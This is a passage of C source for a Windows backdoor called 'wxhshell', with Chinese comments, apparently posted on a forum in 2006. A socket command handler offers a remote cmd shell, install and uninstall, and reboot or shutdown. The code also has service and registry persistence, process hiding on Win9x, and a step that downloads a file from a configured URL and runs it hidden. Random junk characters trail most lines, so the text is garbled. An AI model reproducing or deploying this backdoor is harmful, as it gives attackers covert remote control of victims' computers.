  25bLU?x5B  
  // 帮助 ZA1u  
  case '?': { ()Cw;N{E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <G+IbUG:  
    break; K<#Q;(SFU  
  } ~Vh< mt  
  // 安装 1m c'=S{  
  case 'i': { c-?2>%;(V  
    if(Install()) luPj'd?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $7\!  
    else g#??Mz   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .=I:cniw\r  
    break; }{3XbvC  
    } g`NJ `  
  // 卸载 Ms * `w5n  
  case 'r': { c5vi Y|C^  
    if(Uninstall()) 2|n)ZP2cp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p`oSI}ZwB  
    else kimqm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d%$jF`  
    break; Ug2^cgL  
    } ?G|*=-8  
  // 显示 wxhshell 所在路径 qFV }Y0w  
  case 'p': { `XmT)C  
    char svExeFile[MAX_PATH]; PPj_NV  
    strcpy(svExeFile,"\n\r"); 295U<  
      strcat(svExeFile,ExeFile); u)NmjW  
        send(wsh,svExeFile,strlen(svExeFile),0); :h(r2?=7  
    break;  xRTr@  
    } Y1=.46Ezf  
  // 重启 j B.ZF7q  
  case 'b': { n#\ t_/\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KV1/!r+*  
    if(Boot(REBOOT)) b@p3iq:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VH>?%aL  
    else { R=/^5DZ}  
    closesocket(wsh); =&9x}4`;%  
    ExitThread(0); !%8|R]d  
    } =~|:93]k  
    break; 8M5a&35J"  
    } ,.Sd)JB'  
  // 关机 *F_ dP  
  case 'd': { nKR=/5a4Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6/4?x)l3-  
    if(Boot(SHUTDOWN)) y?r:`n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v c r5  
    else { /a'cP  
    closesocket(wsh); I7[F,xci  
    ExitThread(0); 5:T)hoF@  
    } MhaoD5*9  
    break; ~WKcO&  
    } 94Hs.S)  
  // 获取shell "{1SDbwmMo  
  case 's': { Ho_ 2zx:8b  
    CmdShell(wsh); Z` ;.62S  
    closesocket(wsh); 6Z:swgi6&  
    ExitThread(0); ue/GB+U  
    break; :)PAj  
  } D=!e6E<>@  
  // 退出 jdEqa$CXG  
  case 'x': { ){_D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -_4ZT^.Lna  
    CloseIt(wsh); ?J1x'/G  
    break; 0r|mg::'  
    } Da@H^  
  // 离开 p,cw- lN  
  case 'q': { Wwf],Ya  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q r n^T  
    closesocket(wsh); hU]Gv)B  
    WSACleanup(); <dd(i  
    exit(1); @y+Hb@ >.  
    break; Q^Lk^PP7  
        } i^O(JC  
  } Gv$}>YJ  
  } E+tV7xa~  
CSBk  
  // 提示信息 < gtqwH]   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G\I DgPj`  
} L'KgB=5K&i  
  } X (0`"rjg  
hj<h]dhp  
  return; 0>aAI3E  
} lY,dyNFHV  
"=/YPw^0  
// shell模块句柄 x9lG$0k:V  
int CmdShell(SOCKET sock) n}T;q1  
{ =Eimbk  
STARTUPINFO si; <-3_tu>l  
ZeroMemory(&si,sizeof(si)); Z~WUILx,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; > ]()#z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U> @st="  
PROCESS_INFORMATION ProcessInfo; h M/:zC:  
char cmdline[]="cmd"; %^){)#6w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Js'#=  
  return 0; >bo_  
}  55<f  
eX1<zzd  
// 自身启动模式 Px$4.b[{_Y  
int StartFromService(void) fz hCV  
{ <,Z6=M`  
typedef struct "F.0(<4)  
{ YR\pt8(z?  
  DWORD ExitStatus;  ?[`*z?}  
  DWORD PebBaseAddress; WF!u2E+  
  DWORD AffinityMask; Kj+=?R~}S  
  DWORD BasePriority; $vQ#ah/k  
  ULONG UniqueProcessId; ar#Xe;T!  
  ULONG InheritedFromUniqueProcessId; u5LrZt]k  
}   PROCESS_BASIC_INFORMATION; EU0b>2n4  
555*IT3b  
PROCNTQSIP NtQueryInformationProcess; F79!B  
7/:C[J4GTN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GmJ4AYEP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ujt0?DM  
}CoR$K   
  HANDLE             hProcess; .dM|J'`g  
  PROCESS_BASIC_INFORMATION pbi; ._$tNGI4  
#K[UqJ+x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |;[%ZE"  
  if(NULL == hInst ) return 0; Go8?8*  
 IeZgF>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FK2* O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B,f4<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Ip-@c}'j  
OZ'=Xtbn  
  if (!NtQueryInformationProcess) return 0; o(w xu)  
ap7ZT7KW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a'U}.w}  
  if(!hProcess) return 0; T/b%,!N)  
Z%t"~r0PS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D^Cpgha  
e=yQFzQT)  
  CloseHandle(hProcess); ?f{--|V  
, '_y@9?I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xc!0'P0T  
if(hProcess==NULL) return 0; R}S@u@mOE  
M zWVsV  
HMODULE hMod; lebwGW,!  
char procName[255]; ?df*Y5I2  
unsigned long cbNeeded; @'Y^A  
s_j ?L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X:c k  
5R?[My  
  CloseHandle(hProcess); @Ft\~ +}  
YaWZOuxm  
if(strstr(procName,"services")) return 1; // 以服务启动 ST *\Q  
W>*9T?  
  return 0; // 注册表启动 YH 5jvvOI  
} cKbjW  
n&4 4Acs[  
// 主模块 ^Qx qv  
int StartWxhshell(LPSTR lpCmdLine) vfn _Nq;  
{ _3_kvs  
  SOCKET wsl; L T.u<ThR}  
BOOL val=TRUE; +;ILj<!Z7  
  int port=0; C1V@\mRi  
  struct sockaddr_in door; _(R1En1  
p#yq'kY  
  if(wscfg.ws_autoins) Install(); de&*#O5  
zOEdFU{x  
port=atoi(lpCmdLine); R;6$lO8C&  
'DDlX3W-  
if(port<=0) port=wscfg.ws_port; sX :)g>b   
?hXeZB+b4  
  WSADATA data; VX;br1$X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WFYbmfmV  
AxsTB9/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,?OWwm&J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O :'ENoQ:&  
  door.sin_family = AF_INET; \9Z1'W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pr;z>|FgA>  
  door.sin_port = htons(port); &N`s@Ka  
K ]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mw[  
closesocket(wsl); HVq02 Z  
return 1; 6 G^x%s  
} Q|gRBu  
O>h,u[0  
  if(listen(wsl,2) == INVALID_SOCKET) { 3[RP:W@%  
closesocket(wsl); T@S\:P  
return 1; qir/Sa' [  
} 4IT`8n~  
  Wxhshell(wsl); (iT?uMRz  
  WSACleanup(); EINjI:/D  
uaX#nn?ws  
return 0; ^uDNArDmj5  
-_p+4tV  
} CXe2G5  
C`++r>  
// 以NT服务方式启动 _gGI&0(VM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gq'}LcV  
{ f4h|Nn%;  
DWORD   status = 0; 2NNAsr}L  
  DWORD   specificError = 0xfffffff; 24}?GO  
p H5iv>H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |3a1hCxt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dm")\"5\?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I|`/#BYbW  
  serviceStatus.dwWin32ExitCode     = 0; &{x%"Aq/  
  serviceStatus.dwServiceSpecificExitCode = 0; T[z}^"  
  serviceStatus.dwCheckPoint       = 0; g?}$"=B   
  serviceStatus.dwWaitHint       = 0; "L(4 EcO@  
/F(wb_!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JFJ_ PphvD  
  if (hServiceStatusHandle==0) return; z`?{5v -Qs  
n)n>|w_  
status = GetLastError(); ~"Kf+eFi  
  if (status!=NO_ERROR) D.i(Irqw!  
{ BkH- d z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &7}\mnhB  
    serviceStatus.dwCheckPoint       = 0; G<5i %@  
    serviceStatus.dwWaitHint       = 0; |9 Gng`)  
    serviceStatus.dwWin32ExitCode     = status; l\?HeVk^  
    serviceStatus.dwServiceSpecificExitCode = specificError; kvdiDo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o~_wx  
    return; B;3lF ;3`  
  } sy ]k  
u(Y! _  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0L ^WTq  
  serviceStatus.dwCheckPoint       = 0; -$@$  
  serviceStatus.dwWaitHint       = 0; pZYcCc>6&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &sbKN[xM  
} (eG9b pqr  
t7t?xk!2  
// 处理NT服务事件,比如:启动、停止 WeqE 9@V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'T '&OA  
{ iEA$`LhO\A  
switch(fdwControl) ,vxxp]#5  
{  [YGPcGw  
case SERVICE_CONTROL_STOP: WT-BHB1  
  serviceStatus.dwWin32ExitCode = 0; )*b dG'}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *Y4[YnkPE  
  serviceStatus.dwCheckPoint   = 0; Mdj?;'Yv  
  serviceStatus.dwWaitHint     = 0; yU e7o4Zm  
  { Rr9K1io$)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (.CEEWj%{  
  } MM+xm{4l  
  return; gJ; *?Uq(  
case SERVICE_CONTROL_PAUSE: Ew&pwsQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $,mljJSQv  
  break; P  -O& X  
case SERVICE_CONTROL_CONTINUE: -w[j`}([P9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !mM`+XH  
  break; {.D^2mj |  
case SERVICE_CONTROL_INTERROGATE: J'Z!`R|  
  break; MHuQGc"e+4  
}; 'aWrjfDy:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9*thqs3J#d  
} g!#M0  
4*)a3jI?  
// 标准应用程序主函数 ^ B>BA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s_/a1o  
{ e[Tu.$f-  
lj U|9|v  
// 获取操作系统版本 w,6zbI/  
OsIsNt=GetOsVer(); 5i<E AKL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b3h3$kIYN  
E`"<t:RzF  
  // 从命令行安装 c}QWa"\2n  
  if(strpbrk(lpCmdLine,"iI")) Install(); lBYc(cr  
feSj3,<!  
  // 下载执行文件 \V1geSoE  
if(wscfg.ws_downexe) { F+c4v A})  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H*gX90{!2  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z4"SKsJT/>  
} 65P*Gu?  
Ib~n}SA  
if(!OsIsNt) { ( <Abw{BTm  
// 如果时win9x,隐藏进程并且设置为注册表启动 <hJ%]]  
HideProc(); aX)k (*|  
StartWxhshell(lpCmdLine); aJ4y%Gy?  
} SY[7<BUZ  
else >dr34=(  
  if(StartFromService()) r Ljb'\<*  
  // 以服务方式启动 0LjF$3GpZ  
  StartServiceCtrlDispatcher(DispatchTable); g }%$VUSA  
else nn1T5;  
  // 普通方式启动 bm</qF'T6  
  StartWxhshell(lpCmdLine); VV$$t;R/  
nx2iEXsa  
return 0; [110[i^  
}
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只看该作者 1 发表于: 2006-10-10
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